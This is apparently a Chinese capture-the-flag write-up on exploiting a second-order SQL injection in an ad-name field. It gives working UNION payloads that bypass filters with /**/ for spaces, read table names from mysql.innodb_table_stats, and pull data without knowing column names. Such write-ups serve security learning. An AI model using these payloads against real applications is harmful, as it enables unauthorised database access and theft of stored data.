打开页面是一个登入框,考点并不在这里,随意注册一个非admin账号登入
点击广告详细,在广告名处会引发二次注入
进过一番尝试,发现过滤#等注释符,空格,or,extractvalue,updatexml也被过滤,无法使用报错注入。(fuzz的时候发现他申请的条数会有限制,只能手工试)
使用/**/代替空格使用联合注入
先确定列数,无法使用order by 只能手工一个个试,发现有22列。显示位在2,3处
数据库名可以直接查询
查表名时由于过滤or,所以information_schema无法使用。
但Mysql5.6及以上版本中 innodb_index_stats
和innodb_table_stats
这两个表中都包含所有新创建的数据库和表名
-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
到目前为止,只知道表名,无法查询列名
那么这里需要使用无列名注入
无列名注入可参考https://zhuanlan.zhihu.com/p/98206699?utm_source=wechat_session
select 1,2 as bb,3 as aa union select * from users
这条语句能把users表里3处的列名在查询是临时变成aa
因此不需要知道具体的列名,就可以查询(其实就类似于帮列名换个自定义的临时名字,可以通过这个临时的名字查询内容
select aa from (select 1,2,3 as aa union select * from users)a;
//末尾的 a 可以是任意字符,用于命名。
这里的1,2,3分别对应着users表里的三列,这跟最开始判断列数一样,需要手工一个个去判段,题目中为3列。
-1'union/**/select/**/1,(select/**/group_concat(aa)/**/from/**/(select/**/1,2,3/**/as/**/aa/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'